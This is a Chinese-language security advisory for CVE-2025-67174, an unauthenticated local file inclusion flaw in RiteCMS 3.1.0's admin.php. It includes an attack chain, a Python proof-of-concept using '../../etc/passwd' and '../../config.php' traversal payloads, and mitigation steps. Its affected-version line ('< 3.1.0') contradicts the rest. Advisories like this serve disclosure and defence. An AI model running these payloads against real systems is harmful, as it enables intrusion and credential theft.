IPBUF安全漏洞报告
English
CVE-2025-67174 CVSS 7.5 高危

CVE-2025-67174 RiteCMS 3.1.0 本地文件包含漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-67174
漏洞类型
本地文件包含(LFI)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RiteCMS

相关标签

本地文件包含LFIRiteCMS目录遍历CVE-2025-67174高危漏洞无需认证信息泄露

漏洞概述

CVE-2025-67174是RiteCMS v3.1.0版本中的一个高危本地文件包含(Local File Inclusion,LFI)漏洞。该漏洞存在于admin.php组件中,攻击者可以通过构造特殊的HTTP请求,利用admin_language_file和default_page_language_file参数中的目录遍历字符(../)来读取服务器上的任意文件。由于该漏洞无需认证即可利用,攻击者可以未经授权访问敏感系统文件,包括但不限于/etc/passwd、配置文件、源代码、日志文件等。成功利用此漏洞可能导致敏感信息泄露,如数据库凭证、API密钥、用户隐私数据等。攻击者还可能结合其他漏洞或技术进一步实现远程代码执行。该漏洞CVSS评分7.5,属于高危级别,建议受影响用户尽快升级或采取临时缓解措施。

技术细节

RiteCMS v3.1.0的admin.php文件在处理语言文件参数时存在路径遍历漏洞。攻击者通过在admin_language_file或default_page_language_file参数中注入目录遍历序列(如../../etc/passwd),可以绕过安全限制访问服务器文件系统中的任意文件。漏洞代码位于admin.php约第46行附近,以及settings.inc.tpl模板文件约第64行处。攻击者无需任何认证即可发送恶意请求,服务器会直接解析并包含请求的文件内容。由于PHP的include/require等函数会执行被包含文件的代码,攻击者可以读取包含敏感信息的配置文件或日志文件,进而获取数据库凭证、加密密钥等敏感数据。攻击者还可以尝试通过日志文件注入恶意PHP代码,然后包含日志文件实现远程代码执行。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用RiteCMS v3.1.0版本
STEP 2
步骤2
攻击者访问admin.php端点,无需认证
STEP 3
步骤3
攻击者构造包含目录遍历序列的HTTP请求,如admin_language_file=../../etc/passwd
STEP 4
步骤4
服务器解析请求,将遍历路径指向的系统文件内容包含到响应中
STEP 5
步骤5
攻击者获取敏感文件内容,如/etc/passwd、配置文件、数据库凭证等
STEP 6
步骤6
攻击者利用获取的敏感信息进一步渗透,如连接数据库或获取管理权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-67174 LFI PoC for RiteCMS v3.1.0 # Target: RiteCMS admin.php target_url = "http://target.com/admin.php" # PoC 1: Read /etc/passwd params = { "admin_language_file": "../../etc/passwd", "default_page_language_file": "../../etc/passwd" } print("[+] Testing CVE-2025-67174 LFI vulnerability...") print(f"[+] Target: {target_url}") try: response = requests.get(target_url, params=params, timeout=10) if "root:" in response.text or "/bin/bash" in response.text: print("[+] VULNERABLE! Successfully read /etc/passwd") print("[+] Response preview:") print(response.text[:500]) else: print("[-] Target may not be vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # PoC 2: Read configuration file config_params = { "admin_language_file": "../../config.php", "default_page_language_file": "../../config.php" } try: response = requests.get(target_url, params=config_params, timeout=10) if "<?php" in response.text or "password" in response.text.lower(): print("[+] Successfully read config.php") print("[+] Configuration content:") print(response.text[:500]) except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

影响范围

RiteCMS < 3.1.0

防御指南

临时缓解措施
在官方修复补丁发布前,可采取以下临时缓解措施:1) 在Web服务器层面配置URL过滤规则,拦截包含../等目录遍历字符的请求;2) 限制admin.php的访问权限,配置IP白名单访问控制;3) 关闭不必要的PHP危险函数;4) 定期监控服务器访问日志,排查异常请求行为;5) 对敏感配置文件设置严格的文件权限,防止非授权读取。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表